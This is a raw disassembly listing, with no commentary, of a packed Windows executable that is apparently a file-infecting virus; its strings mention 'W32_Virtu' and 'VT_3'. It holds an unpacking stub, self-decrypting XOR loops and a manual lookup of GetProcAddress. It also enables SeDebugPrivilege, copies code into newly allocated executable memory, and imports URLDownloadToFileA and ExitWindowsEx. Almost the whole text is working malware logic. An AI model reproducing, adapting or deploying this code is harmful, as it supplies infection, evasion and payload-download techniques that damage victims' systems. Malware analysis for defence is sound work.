		dd 93FB51BDh, 2F362F16h, 5352F39h, 3764375Ah, 1BFC2FF5h
		dd 62662D59h, 342D6137h, 622D39B7h, 2D366531h, 2AB7D1B0h
		dd 36627A3Fh, 326C6632h, 0A105DFC2h, 30980C27h,	38424B2Dh
		dd 0C0153332h, 8B76F0Eh, 4B253878h, 73B1524Fh, 0A5BDB52Fh
		dd 662F386Fh, 37C83805h, 72FD3631h, 2D31FDD9h, 33626438h
		dd 35346673h, 35613037h, 2BE46236h, 3904BDACh, 73803864h
		dd 0F6544843h, 322266B7h, 31380531h, 66643063h,	5ADED53Eh
		dd 323737FBh, 4C037362h, 0F6323139h, 3D4DB590h,	65536254h
		dd 0DF731839h, 5376113Ch, 312F30E7h, 64663130h,	2F6B6D64h
		dd 663034FFh, 6366652Dh, 64333335h, 0EC321CF1h,	856B6DB0h
		dd 65175C34h, 73350534h, 0AF90891Bh, 0EE554E45h, 742B6D33h
		dd 33657577h, 0C5325C31h, 0FF4735EAh, 7C685706h, 335B73DAh
		dd 65313865h, 8353462h,	35E49C21h, 50586634h, 639B0CDh
		dd 47335B42h, 43723641h, 33ED0D6Bh, 355B4864h, 5DB63730h
		dd 6361F280h, 32336932h, 840733ECh, 38D8461Dh, 0C773CD73h
		dd 615DD68Eh, 2B033501h, 0BB433064h, 3379470Eh,	44383361h
		dd 35EC344Dh, 860AC265h, 6564590Bh, 0EB73EE02h,	53B90A18h
		dd 5624339h, 46ED6B5Ah,	0D666329h, 35086C64h, 0E7EB4075h
		dd 2D6D7338h, 0AC233539h, 1D252B70h, 73F16633h,	92D03FFh
		dd 207100CDh, 2520692Dh, 23C2073h, 6567F203h, 6E202074h
		dd 80435653h, 2F96CAC0h, 8062D629h, 0CF9E20C0h,	0EB2DBE24h
		dd 6B2677D6h, 5338A920h, 0F0726168h, 2BDD80D6h,	6C0067h
		dd 435444ECh, 4CD0246Fh, 13FA4207h, 256EF6Ah, 49572BC6h
		dd 0A158534Eh, 7AD03580h, 41770046h, 6E02B258h,	4B60F372h
		dd 0B6CB2C1Bh, 6E2DB71Bh, 717A6F02h, 18DB5D6Dh,	762A532Fh
		dd 6B5F50ECh, 9ED5A36Eh, 78797358h, 633E2CECh, 817B605Ah
		dd 6F65BC54h, 0F36FE875h, 31EDB475h, 6365EDD8h,	55617254h
		dd 6ED83566h, 752D2C1Dh, 750A7309h, 3046136Ch, 1D36F730h
		dd 0A31F6144h, 96E08604h, 0D0CFE320h, 370425C0h, 4D0FE31Fh
		dd 0B9706020h, 0E706EC6Ah, 371B6C1Ah, 4710011Ch, 0BBC0CDE0h
		dd 542DEF74h, 0A9E7079h, 6D2F7478h, 4E95976Fh, 67046C17h
		dd 33196874h, 683F6FC2h, 58590641h, 45530001h, 0ADC55241h
		dd 0C2835ED0h, 0CE7DECBBh, 1F0AD685h, 0F683504Bh, 0EC9DC52Eh
		dd 4F136DB6h, 452257BCh, 555CA05Ch, 0B6850618h,	3A4F61C0h
		dd 0BC61D879h, 500941D1h, 455C32h, 0C845AF33h, 0A793114h
		dd 357496AFh, 0CB6E4F35h, 40266C60h, 634B6E1Ch,	0C7C1D766h
		dd 8E6769C2h, 0C6204E61h, 366E4575h, 20518EC7h,	6D2B1044h
		dd 30205049h, 1C970D19h, 2E9D7264h, 580F2507h, 2D70DB04h
		dd 5F2B0D64h, 0C4B0754Dh, 7B480C31h, 617A736Dh,	8360A970h
		dd 0D10C00AEh, 96893131h, 9B439212h, 6B276E34h,	24411EDh
		dd 492DDA0Eh, 0D68518BDh, 0B41A5349h, 422001D3h, 4030C80h
		dd 88580101h, 42A8CB00h, 0A5FAE052h, 0FC0B1432h, 74654701h
		dd 0FB60054Ch, 724544ADh, 0D726F72h, 4A00A549h,	6C72FFC1h
		dd 656B636Fh, 63654464h, 0B7EE6152h, 1123BBE6h,	416C6162h
		dd 400C186Ch, 46DB6EDBh, 4F0B651Bh, 38501F70h, 1CC6005Fh
		dd 0B0464964h, 72747441h, 0F6CB256Fh, 74756269h, 27534113h
		dd 0F6FB9B82h, 75646F4Dh, 6E614815h, 55111B64h,	0F7B6D06Eh
		dd 695693B7h, 664F7765h, 5D43102Dh, 2AAFB09h, 9441F676h
		dd 0C936B25Eh, 104C6E49h, 22C0B93h, 5D92CDF4h, 330BE156h
		dd 450F6701h, 24437878h, 1FD8C03Dh, 454FB358h, 950434Dh
		dd 0DDA17B53h, 66F7574Eh, 43149C61h, 0BDAB4449h, 97017F7Dh
		dd 0AD6D614Eh, 696D5254h, 9ED0B06Eh, 57459FCCh,	3EE66961h
		dd 0B780B553h, 4F25E202h, 36486A62h, 0C3C20D7Bh, 0A1783539h
		dd 3CCDB096h, 8B6D6954h, 0DD158069h, 0D9B5B7B3h, 0F7D3752Ch
		dd 64066854h, 0C825B5Eh, 670B13Ch, 5C3B2FD7h, 6F733E02h
		dd 7269A619h, 73764DBFh, 41797466h, 68216F36h, 33706C65h
		dd 0DBEE60B5h, 709D5332h, 506F6873h, 1C2B1267h,	789A158h
		dd 6F594E0Fh, 0C2C20B36h, 4586733Dh, 82B5ACD4h,	1508554Bh
		dd 6DB7C20Fh, 0ED00F152h, 2E68250Ch, 7D6567h, 43930167h
		dd 0A7E432E9h, 512CDB6Ch, 15791175h, 72617453h,	4B377B74h
		dd 700F5116h, 69676552h, 31B671CAh, 233672ACh, 85728B6Ch
		dd 399B05DDh, 75744417h, 50134C73h, 442BBE82h, 21651E80h
		dd 7F2E3D9Bh, 86FC9330h, 0BF417604h, 6A644141h,	31747375h
		dd 62A34059h, 46127377h, 53DF9E02h, 6872DF43h, 5961D86Ch
		dd 0BA0E3FD0h, 0D9B2DCFEh, 10E32133h, 9079654Bh, 823DEC5Ch
		dd 3D0F330Eh, 9623DB92h, 7581C779h, 61E69F70h, 75325663h
		dd 4950FA7Ch, 12F66963h
		dd 0B3706DC2h, 46389410h, 0F37B5B0h, 9D451B7Ch,	0B72CF1CDh
		dd 0F0010337h, 68057265h, 5FF4E19Dh, 8E706358h,	5F5F0C72h
		dd 8B476EB5h, 6772C80Ah, 0CE085FE9h, 22AEB42Dh,	70A6D18h
		dd 0FB070272h, 72B9BFFEh, 3F3F0664h, 41594032h,	49584150h
		dd 70365A40h, 0B6F68602h, 76652C58h, 116B8B0Eh,	3773433Eh
		dd 61578882h, 6082364Ah, 64665FEDh, 6D392EC4h, 95C15A36h
		dd 0D9AF9D44h, 0CC1B66E6h, 1262C510h, 0BD1D661Fh, 4B362DB7h
		dd 7411703Eh, 770F7079h, 0B5A22EC6h, 13685FC7h,	0A3771133h
		dd 39590215h, 1D7066E5h, 0BDD35CF6h, 58339DD3h,	2CB19D9Eh
		dd 476D5C18h, 0E00086Dh, 0D9BC1598h, 5255319Ch,	0E99F444Ch
		dd 6A518374h, 481C19D2h, 9B5B390h, 170AE0C1h, 0B6596524h
		dd 17FF504Dh, 0C390402h, 96596596h, 10131534h, 96590903h
		dd 74025965h, 0F208010Dh, 73659604h, 50710B0Eh,	92FE8045h
		dd 3014CFFh, 8200800h, 0B010F9Ah, 41660601h, 4052C6CFh
		dd 0BE2FCC13h, 0F7D9E764h, 0F10040Fh, 5B070004h, 17B67406h
		dd 0CB0C3180h, 10EC0DE0h, 0BA360607h, 0B4CB2101h, 0A4A2A041h
		dd 8C2B829h, 85F02E26h,	79DB06Ch, 3090213Ah, 8F052D98h
		dd 2E609501h, 29611072h, 53B9309Bh, 6A0309B0h, 0DEECD3BDh
		dd 3C262E40h, 75026C8h,	94E1B6E5h, 0EB00C027h, 5E0343F8h
		dd 75h,	4800000h, 0FF00h, 3 dup(0)
; ---------------------------------------------------------------------------
		pusha
		mov	esi, offset dword_407000
		lea	edi, [esi-6000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_409082
; ---------------------------------------------------------------------------
		align 8


loc_409078:				; CODE XREF: seg001:loc_409089j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_40907E:				; CODE XREF: seg001:00409116j
					; seg001:0040912Dj
		add	ebx, ebx
		jnz	short loc_409089


loc_409082:				; CODE XREF: seg001:00409070j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_409089:				; CODE XREF: seg001:00409080j
		jb	short loc_409078
		mov	eax, 1


loc_409090:				; CODE XREF: seg001:0040909Fj
					; seg001:004090AAj
		add	ebx, ebx
		jnz	short loc_40909B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_40909B:				; CODE XREF: seg001:00409092j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_409090
		jnz	short loc_4090AC
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_409090


loc_4090AC:				; CODE XREF: seg001:004090A1j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_4090C0
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_409132
		mov	ebp, eax


loc_4090C0:				; CODE XREF: seg001:004090B1j
		add	ebx, ebx
		jnz	short loc_4090CB
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_4090CB:				; CODE XREF: seg001:004090C2j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_4090D8
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_4090D8:				; CODE XREF: seg001:004090CFj
		adc	ecx, ecx
		jnz	short loc_4090FC
		inc	ecx


loc_4090DD:				; CODE XREF: seg001:004090ECj
					; seg001:004090F7j
		add	ebx, ebx
		jnz	short loc_4090E8
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_4090E8:				; CODE XREF: seg001:004090DFj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_4090DD
		jnz	short loc_4090F9
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_4090DD


loc_4090F9:				; CODE XREF: seg001:004090EEj
		add	ecx, 2


loc_4090FC:				; CODE XREF: seg001:004090DAj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_40911C


loc_40910D:				; CODE XREF: seg001:00409114j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_40910D
		jmp	loc_40907E
; ---------------------------------------------------------------------------
		align 4


loc_40911C:				; CODE XREF: seg001:0040910Bj
					; seg001:00409129j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_40911C
		add	edi, ecx
		jmp	loc_40907E
; ---------------------------------------------------------------------------


loc_409132:				; CODE XREF: seg001:004090BCj
		pop	esi
		mov	edi, esi
		mov	ecx, 5Dh


loc_40913A:				; CODE XREF: seg001:00409141j
					; seg001:00409146j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_40913F:				; CODE XREF: seg001:00409164j
		cmp	al, 1
		ja	short loc_40913A
		cmp	byte ptr [edi],	1
		jnz	short loc_40913A
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	eax, ebx
		loop	loc_40913F
		lea	edi, [esi+7000h]


loc_40916C:				; CODE XREF: seg001:0040918Ej
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_4091B7
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+9000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+90A0h]
		xchg	eax, ebp


loc_409189:				; CODE XREF: seg001:004091AFj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_40916C
		mov	ecx, edi
		jns	short near ptr loc_40919A+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_40919A:				; CODE XREF: seg001:00409192j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+90A4h]
		or	eax, eax
		jz	short loc_4091B1
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_409189
; ---------------------------------------------------------------------------


loc_4091B1:				; CODE XREF: seg001:004091A8j
		call	dword ptr [esi+90A8h]


loc_4091B7:				; CODE XREF: seg001:00409170j
		popa
		jmp	loc_402FCC
; ---------------------------------------------------------------------------
		align 1000h
seg001		ends

; Section 3. (virtual address 0000A000)
; Virtual size			: 00016000 (  90112.)
; Section size in file		: 00011600 (  71168.)
; Offset to raw	data for section: 0000A000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg002		segment	para public 'CODE' use32
		assume cs:seg002
		;org 40A000h
		assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 0A0E0h, 0A0A0h, 3 dup(0)
		dd 0A0EDh, 0A0B0h, 3 dup(0)
		dd 0A0FAh, 0A0B8h, 3 dup(0)
		dd 0A103h, 0A0C0h, 3 dup(0)
		dd 0A10Eh, 0A0C8h, 3 dup(0)
		dd 0A119h, 0A0D0h, 3 dup(0)
		dd 0A124h, 0A0D8h, 5 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0
		dd 77DD6BF0h, 0
		dd 76D64B79h, 0
		dd 77C39E7Eh, 0
		dd 42D779A3h, 0
		dd 7E45A045h, 0
		dd 71AB2BF4h, 0
		db  4Bh	; K
		db 45h,	52h, 4Eh
		db  45h	; E
		db 4Ch,	33h, 32h
		db  2Eh	; .
		db 44h,	2 dup(4Ch)
		db    0
		db 41h,	44h, 56h
		db  41h	; A
		db 50h,	49h, 33h
		db  32h	; 2
		db 2Eh,	64h, 6Ch
		db  6Ch	; l
		align 2
		dw 4349h
		db  4Dh	; M
		db 50h,	2Eh, 64h
		db  6Ch	; l
		db 6Ch,	0, 4Dh
		db  53h	; S
		db 56h,	43h, 52h
		db  54h	; T
		db 2Eh,	64h, 6Ch
		db  6Ch	; l
		align 2
		dw 7275h
		db  6Ch	; l
		db 6Dh,	6Fh, 6Eh
		db  2Eh	; .
		db 64h,	2 dup(6Ch)
		db    0
		db 55h,	53h, 45h
		db  52h	; R
		db 33h,	32h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
		db  57h	; W
		db 53h,	32h, 5Fh
		db  33h	; 3
		db 32h,	2Eh, 64h
		db  6Ch	; l
		db 6Ch,	2 dup(0)
aLoadlibrarya	db 'LoadLibraryA',0
		align 2
aGetprocaddress	db 'GetProcAddress',0
		align 2
aExitprocess	db 'ExitProcess',0
		align 4
aRegclosekey	db 'RegCloseKey',0
		db    0
		align 2
aIcmpsendecho	db 'IcmpSendEcho',0
		align 4
aExit		db 'exit',0
		align 2
aUrldownloadtof	db 'URLDownloadToFileA',0
		align 2
aExitwindowsex	db 'ExitWindowsEx',0
		dd 18h dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	sub_40A217
		call	sub_40A256
		push	dword ptr fs:0
		pop	ebp
		add	ebp, 8

; =============== S U B	R O U T	I N E =======================================



sub_40A217	proc near		; CODE XREF: seg002:0040A203p
		sub	edi, edi
		sub	ecx, ecx
		mov	cl, 64h


loc_40A21D:				; CODE XREF: sub_40A217+8j
		inc	edi
		dec	ecx
		jnz	short loc_40A21D
		call	sub_40A253
		add	ebx, 3Dh
		push	ebx
		mov	ecx, 243Ch


loc_40A232:				; CODE XREF: sub_40A217+2Aj
		xchg	al, [ebx]
		sub	ax, di
		mov	[ebx], al
		add	ebx, 1
		inc	edi
		dec	ecx
		cmp	ecx, 0
		ja	short loc_40A232
		pop	ebx
		mov	esp, fs:0
		pop	dword ptr fs:0
		leave
		jmp	ebx
sub_40A217	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A253	proc near		; CODE XREF: sub_40A217+Ap
		pop	ebx
		jmp	ebx
sub_40A253	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A256	proc near		; CODE XREF: seg002:0040A208p

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		pop	dword ptr [eax+0B8h]
		xor	eax, eax
		retn
sub_40A256	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		call	$+5
		mov	eax, [esp]
		test	dword ptr [eax+242Bh], 80000000h
		mov	[eax+29ACh], ebx
		mov	ebx, [esp+4]
		jz	short loc_40A2AF
		cld
		pop	ecx
		mov	[eax+29B0h], esi
		mov	[eax+29B4h], edi
		cmp	byte ptr [eax+242Fh], 0E8h
		jnz	short loc_40A2A6
		add	ebx, [eax+2430h]
		mov	ebx, [ebx+2]
		push	dword ptr [ebx]
		jmp	short loc_40A2AE
; ---------------------------------------------------------------------------


loc_40A2A6:				; CODE XREF: seg002:0040A297j
		mov	ebx, [eax+2431h]
		push	dword ptr [ebx]


loc_40A2AE:				; CODE XREF: seg002:0040A2A4j
		pop	ebx


loc_40A2AF:				; CODE XREF: seg002:0040A280j
		push	ebp
		xchg	eax, ebp
		sub	dword ptr [esp+4], 1209h
		and	ebx, 0FFFFF000h
		sub	ebp, offset loc_401006
		mov	edi, [esp+4]
		lea	esi, dword_40343C[ebp]
		mov	ecx, 0
		rep movsb


loc_40A2D6:				; CODE XREF: seg002:0040A2F2j
		cmp	dword ptr [ebx+4Eh], 73696854h
		jnz	short loc_40A2EC
		mov	eax, [ebx+3Ch]
		lea	eax, [eax+ebx]
		cmp	word ptr [eax],	4550h
		jz	short loc_40A2F4


loc_40A2EC:				; CODE XREF: seg002:0040A2DDj
		sub	ebx, 100h
		jnz	short loc_40A2D6


loc_40A2F4:				; CODE XREF: seg002:0040A2EAj
		mov	edx, [eax+78h]
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_40A302:				; CODE XREF: seg002:loc_40A329j
		lodsd
		add	eax, ebx
		cmp	dword ptr [eax-1], 74654700h
		jnz	short loc_40A329
		cmp	dword ptr [eax+3], 636F7250h
		jnz	short loc_40A329
		cmp	dword ptr [eax+7], 72646441h
		jnz	short loc_40A329
		cmp	dword ptr [eax+0Bh], 737365h
		jz	short loc_40A32E


loc_40A329:				; CODE XREF: seg002:0040A30Cj
					; seg002:0040A315j ...
		loop	loc_40A302
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40A32E:				; CODE XREF: seg002:0040A327j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		call	near ptr loc_40A354+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_40A3B2+2
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_40A354:				; CODE XREF: seg002:0040A345p
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+40353Ch], eax
		call	near ptr loc_40A370+1
		inc	ebx
		jb	short near ptr loc_40A3CB+1
		popa
		jz	short near ptr loc_40A3CB+4
		inc	ebp
		jbe	short near ptr loc_40A3D1+1
		outsb
		jz	short near ptr loc_40A3AF+2


loc_40A370:				; CODE XREF: seg002:0040A35Fp
		add	[ebx-1], dl
		setalc
		mov	[ebp+403540h], eax
		call	sub_40A38C
		inc	edi
		db	65h
		jz	short near ptr loc_40A3CB+4
		popa
		jnb	short loc_40A3FA
		inc	ebp
		jb	short near ptr loc_40A3FA+1
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_40A38C	proc near		; CODE XREF: seg002:0040A37Ap

; FUNCTION CHUNK AT 0040A435 SIZE 000000B1 BYTES
; FUNCTION CHUNK AT 0040A575 SIZE 0000013A BYTES

		push	ebx
		call	esi	; CloseServiceHandle
		mov	[ebp+403544h], eax
		call	sub_40A40A
		test	eax, eax
		jz	short loc_40A3BF
		push	eax
		call	dword ptr [ebp+403544h]
		test	eax, eax
		jnz	short loc_40A3B9
		lea	eax, [ebp+4011D2h]


loc_40A3AF:				; CODE XREF: seg002:0040A36Ej
		mov	dl, [eax-1]


loc_40A3B2:				; CODE XREF: seg002:0040A34Dj
		call	sub_40A425
		jmp	short loc_40A435
; ---------------------------------------------------------------------------


loc_40A3B9:				; CODE XREF: sub_40A38C+1Bj
					; sub_40A38C+136j ...
		call	dword ptr [ebp+40353Ch]


loc_40A3BF:				; CODE XREF: sub_40A38C+10j
		test	ss:dword_403431[ebp], 80000000h
		jz	short loc_40A3E9


loc_40A3CB:				; CODE XREF: seg002:0040A365j
					; seg002:0040A368j ...
		lea	esi, dword_403435[ebp]


loc_40A3D1:				; CODE XREF: seg002:0040A36Bj
		mov	edi, [esp+4]
		movsb
		movsd
		mov	ebx, [ebp+4039B2h]
		mov	esi, [ebp+4039B6h]
		mov	edi, [ebp+4039BAh]


loc_40A3E9:				; CODE XREF: sub_40A38C+3Dj
		pop	ebp
		retn
sub_40A38C	endp

; ---------------------------------------------------------------------------


loc_40A3EB:				; CODE XREF: sub_40A40A+2p
					; sub_40A38C:loc_40A5F4p
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_40A3FA:				; CODE XREF: seg002:0040A384j
					; seg002:0040A387j
		les	ebp, [edx+0]
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
; ---------------------------------------------------------------------------
aVt_3		db 'VT_3',0
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_40A40A	proc near		; CODE XREF: sub_40A38C+9p
		xor	ecx, ecx
		call	loc_40A3EB
		lea	edx, [ebp+4011A1h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+403540h]
		add	esp, 20h
		retn
sub_40A40A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A425	proc near		; CODE XREF: sub_40A38C:loc_40A3B2p
					; sub_40C1F9+25Bp
		mov	dh, dl
		mov	ecx, 225Fh


loc_40A42C:				; CODE XREF: sub_40A425+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_40A42C
		retn
sub_40A425	endp

; ---------------------------------------------------------------------------
		db 0Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A38C


loc_40A435:				; CODE XREF: sub_40A38C+2Bj
		and	dword ptr [ebp+401580h], 0
		and	dword ptr [ebp+401584h], 0
		and	dword ptr [ebp+401588h], 0
		mov	eax, ss:dword_403431[ebp]
		xor	ecx, ecx
		push	1
		mov	cl, 20h
		pop	dword ptr [ebp+40397Eh]


loc_40A45C:				; CODE XREF: sub_40A38C+E0j
		xor	edx, edx
		shr	eax, 1
		setb	dl
		shl	dl, 3
		add	[ebp+40397Eh], edx
		loop	loc_40A45C
		push	edi
		mov	byte ptr [ebp+401303h],	1
		mov	[ebp+403548h], esi
		lea	esi, loc_4015BB[ebp]
		xor	ecx, ecx
		lea	edi, [ebp+403558h]
		mov	cl, 1Eh
		call	sub_40A7EF
		pop	edi
		call	dword ptr [ebp+403594h]
		shr	eax, 1Fh
		jz	loc_40A575
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+403550h], eax
		push	69CEh
		push	0
		call	dword ptr [ebp+4035C8h]
		test	eax, eax
		jz	loc_40A3B9
		xchg	eax, edi
		lea	esi, sub_401000[ebp]
		mov	ebp, edi
		mov	ecx, 0A74h
		sub	ebp, offset sub_401000
		lea	edx, [ebp+401283h]
		rep movsd
		jmp	edx
; END OF FUNCTION CHUNK	FOR sub_40A38C
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, loc_401A3D[ebp]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+403550h]
		add	esp, 20h
		test	eax, eax
		jz	loc_40A3B9
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+403550h]
		test	eax, eax
		jz	loc_40A3B9
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+403550h]
		push	1000Ah
		call	dword ptr [ebp+403550h]
		call	sub_40A565
		jmp	loc_40A3B9

; =============== S U B	R O U T	I N E =======================================



sub_40A565	proc near		; CODE XREF: seg002:0040A55Bp
					; sub_40A565+Dj
		push	1
		pop	ecx
		jecxz	short locret_40A574
		push	0Ah
		call	dword ptr [ebp+4035BCh]
		jmp	short sub_40A565
; ---------------------------------------------------------------------------

locret_40A574:				; CODE XREF: sub_40A565+3j
		retn
sub_40A565	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A38C


loc_40A575:				; CODE XREF: sub_40A38C+10Fj
		cmp	dword ptr [ebp+403570h], 0
		jz	loc_40A3B9
		call	near ptr loc_40A58C+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_40A58C:				; CODE XREF: sub_40A38C+1F6p
		add	bh, bh
		xchg	eax, ebp
		mov	ds:0B58D0040h, dh
		jnb	short near ptr loc_40A5A9+5
		inc	eax
		add	[ebx], dh
		leave
		lea	edi, [ebp+4035D0h]
		mov	cl, 0Bh
		xchg	eax, ebx
		call	sub_40A7EF


loc_40A5A9:				; CODE XREF: sub_40A38C+209j
		cmp	dword ptr [ebp+4035F8h], 0
		jz	loc_40A3B9
		mov	eax, [ebp+4035D4h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+403395h]
		mov	eax, [ebp+4035E8h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4033E2h]
		mov	eax, [ebp+4035D8h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4033E9h]
		mov	ecx, [ebp+4035DCh]
		jecxz	short loc_40A5F4
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+4033F6h]


loc_40A5F4:				; CODE XREF: sub_40A38C+25Dj
		call	loc_40A3EB
		lea	edi, [ebp+40364Eh]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+40159Fh]
		mov	ecx, 1Ch
		mov	edx, esp
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah


loc_40A639:				; CODE XREF: sub_40A38C+2B0j
		lodsb
		stosw
		loop	loc_40A639
		push	0
		push	69CEh
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr [ebp+4035E0h]
		pop	eax
		add	esp, 40h
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ebp+4035E4h]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_40A3B9
		lea	esi, sub_401000[ebp]
		mov	ecx, 0A74h
		mov	ebp, edi
		rep movsd
		sub	ebp, offset sub_401000
		lea	eax, loc_40144C[ebp]
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_40A38C
; ---------------------------------------------------------------------------
		db 8Dh
		db  95h	; •
		dd offset loc_4018DC+4
		db 52h,	0FFh, 95h
		dd offset dword_403440+15Ch
		db 0E8h	; è
		db 16h,	2 dup(0)
		db    0
aLookupprivileg	db 'LookupPrivilegeValueA',0
		db 50h
		dd 354895FFh, 85890040h, 40354Ch, 206A5450h, 95FFFF6Ah
		dd 4035ECh, 755FC085h, 26A963Fh, 0D48B5656h, 0E852016Ah
		dd 11h,	65446553h, 50677562h, 69766972h, 6567656Ch, 95FF5600h
		dd 40354Ch, 5656C48Bh, 57565056h, 35D095FFh, 0C4830040h
		dd 95FF5710h, 40353Ch, 26A006Ah, 357095FFh, 28B90040h
		dd 97000001h, 0C89E12Bh, 0FF575424h, 4035AC95h,	83F63300h
		dd 40363CA5h, 57540000h, 35B095FFh, 0C0850040h,	83465C74h
		dd 0EE7204FEh, 82474FFh, 2A6A006Ah, 35A895FFh, 0C0850040h
		dd 0E893DC74h, 43Dh, 0E391C933h, 3C853930h, 75004036h
		dd 0AEC18128h, 5000000Dh, 51565054h, 0FF535050h, 40356895h
		dd 59C08500h, 74FF0F74h, 858F0824h, 40363Ch, 0FFFDACE8h
		dd 95FF53FFh, 40353Ch, 0C48198EBh, 128h, 3C95FF57h, 0E9004035h
		dd 0FFFFFBE5h, 5800498Dh, 0CE005858h, 65000029h, 0Dh, 2	dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_40A7EF	proc near		; CODE XREF: sub_40A38C+100p
					; sub_40A38C+218p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+403548h]
		stosd
		pop	ecx


loc_40A7FA:				; CODE XREF: sub_40A7EF+Ej
		lodsb
		test	al, al
		jnz	short loc_40A7FA
		loop	sub_40A7EF
		retn
sub_40A7EF	endp

; ---------------------------------------------------------------------------
aBasenamedobjec	db '\BaseNamedObjects\W32_Virtu',0
aLstrlen	db 'lstrlen',0
aCreatefilea	db 'CreateFileA',0
